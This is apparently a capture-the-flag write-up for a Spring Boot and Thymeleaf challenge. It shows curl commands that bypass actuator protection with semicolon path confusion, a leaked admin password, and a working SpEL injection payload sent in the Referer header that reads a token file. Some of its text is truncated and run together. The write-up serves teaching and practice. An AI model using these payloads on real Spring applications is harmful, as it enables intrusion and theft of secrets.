$ cat writeup.md…
$ cat writeup.md…
alfactf
Task: Spring Boot app with Thymeleaf templates, protected actuator endpoints, and token-gated budget panel. Solution: Bypass actuator security via semicolon path confusion, then exploit SpEL injection in Thymeleaf preprocessing via Referer header to read token file using Java NIO.
$ cat /etc/rate-limit
Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.
A city slush level monitoring application with admin panel and budget management system.
Multi-tier web service: nginx → Spring Boot (Tomcat 9.0.117) + Flask sidecar. Features complaint submission, admin panel, and budget management protected by a secret token stored in /usr/local/tomcat/budget_token.txt.
/actuator;foo/env, but Tomcat strips ;foo and serves /actuator/env__${...}__ syntax before main renderingback parameter# Blocked curl https://slushline-zcdvzvbj.alfactf.ru/actuator/env # 403 # Bypass via semicolon path parameter curl https://slushline-zcdvzvbj.alfactf.ru/actuator;foo/env # 200
Leaked: ADMIN_PASS=S3cur3_Adm1n!_P@ss_n0t_2_f0rG3t
The /admin?back=X parameter triggers Thymeleaf preprocessing that evaluates the Referer header.
Payload format: '}+${SpEL_expression}+@{'
File read payload:
'}+${'a'.getClass().forName('java.nio.file.Files').readString('a'.getClass().forName('java.nio.file.Paths').get('/usr/local/tomcat/budget_token.txt'))}+@{'
GET /admin?back=/admin HTTP/1.1 Host: slushline-zcdvzvbj.alfactf.ru Cookie: JSESSIONID=... Referer: '}+${'a'.getClass().forName('java.nio.file.Files').readString('a'.getClass().forName('java.nio.file.Paths').get('/usr/local/tomcat/budget_token.txt'))}+@{'
Token: QWNgzulpHdPJpZpZsktozyF8FyM0umcn
POST to /admin/budget with token → flag displayed.
...
$ grep --similar